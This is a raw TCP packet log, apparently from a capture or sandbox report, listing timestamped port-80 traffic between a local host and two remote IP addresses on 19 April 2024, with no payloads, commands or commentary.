Apr 19, 2024 03:29:06.854136944 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.854317904 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.859807014 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.859931946 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.864746094 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.013051033 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.013101101 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.013118982 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.013137102 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.013190985 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.013394117 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.024203062 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.024221897 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.024240971 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.024259090 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.024276018 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.024288893 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.024288893 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.024296045 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.024315119 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.024334908 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.024353027 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.024364948 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.024364948 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.024418116 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.024419069 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.027448893 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027761936 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027780056 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027796984 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027815104 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027815104 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.027815104 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.027832985 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027853012 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027869940 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027872086 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.027872086 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.027888060 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027908087 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027925968 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027944088 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027956009 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.027956009 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.027956009 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.027961969 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027981997 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027998924 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.027998924 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028014898 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028019905 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028037071 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028053999 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028070927 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028072119 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028072119 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028089046 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028112888 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028125048 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028125048 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028145075 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028162003 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028177977 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028194904 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028197050 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028197050 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028213978 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028233051 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028249979 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028268099 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028268099 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028269053 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028286934 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028296947 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028296947 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028305054 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028323889 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028342009 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028351068 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028351068 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028351068 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028362036 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028387070 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028387070 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028388023 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028408051 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028424978 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028440952 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028455973 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028455973 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028459072 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028501987 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028503895 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028503895 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028520107 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028537035 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028548002 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028569937 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028587103 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028604984 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028624058 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028626919 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028626919 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028637886 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028641939 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028660059 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028670073 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028670073 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028707981 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028707981 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028877020 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028896093 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.028928041 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.028950930 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.115886927 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.115953922 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.115993023 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.116017103 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.116034985 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.116063118 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.116075039 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.116080046 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.116117001 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.116141081 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.116179943 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.116187096 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.116220951 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.116225004 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.116261959 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.116267920 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.116308928 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.116312027 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.116352081 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.116355896 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.116391897 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.256406069 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.256460905 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.256480932 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.256501913 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.256536961 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.256541014 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.256550074 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.256654024 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.257962942 CEST	49717	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.267384052 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.267422915 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.267455101 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.267460108 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.267477036 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.267527103 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.267533064 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.267571926 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.267608881 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.267644882 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.267648935 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.267648935 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.267648935 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.267683983 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.267693996 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.267721891 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.267761946 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.267765045 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.267765045 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.267815113 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.271517992 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.271558046 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.271576881 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.271596909 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.271652937 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.271652937 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.271708965 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.271748066 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.271785975 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.271789074 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.271810055 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.271823883 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.271862984 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.271884918 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.271884918 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.271902084 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.271938086 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.271949053 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.271949053 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.271976948 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.271986008 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272015095 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272051096 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272063017 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272063017 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272119045 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272123098 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272156954 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272190094 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272193909 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272197962 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272232056 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272244930 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272269011 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272305965 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272327900 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272327900 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272344112 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272373915 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272387981 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272397041 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272435904 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272471905 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272480965 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272480965 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272509098 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272546053 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272583008 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272592068 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272592068 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272592068 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272620916 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272659063 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272671938 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272671938 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272696972 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272733927 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272735119 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272773027 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272772074 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272773027 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272811890 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272840023 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272849083 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272851944 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272887945 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272924900 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272928953 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272963047 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.272963047 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.272964001 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273000956 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273027897 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273037910 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273065090 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273077011 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273088932 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273121119 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273163080 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273169994 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273169994 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273201942 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273240089 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273264885 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273264885 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273276091 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273313046 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273325920 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273325920 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273350954 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273387909 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273389101 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273389101 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273425102 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273458958 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273462057 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273466110 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273500919 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.273530006 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.273564100 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.366782904 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.366806984 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.366825104 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.366842031 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.366862059 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.366873026 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.366873026 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.366952896 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.366952896 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.366971016 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.366987944 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.366997957 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367006063 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367017984 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367026091 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367033958 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367047071 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367052078 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367065907 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367072105 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367085934 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367090940 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367110968 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367114067 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367127895 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367132902 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367151976 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367161989 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367170095 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367187977 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367188931 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367188931 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367207050 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367208958 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367225885 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367225885 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.367244005 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.367259979 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.499722958 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.499787092 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.499825954 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.499864101 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.499943018 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.499943018 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.499943018 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.501030922 CEST	80	49717	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:07.505716085 CEST	49717	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.505716085 CEST	49717	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:07.510610104 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.510649920 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.510850906 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.510889053 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.510899067 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.510899067 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.510927916 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.510966063 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.510967970 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.510967970 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.511004925 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.511042118 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.511079073 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.511117935 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.511140108 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.511140108 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.511140108 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.511140108 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.511181116 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:07.514591932 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:07.514631987 CEST	80	49715	193.233.132.167	192.168.2.5
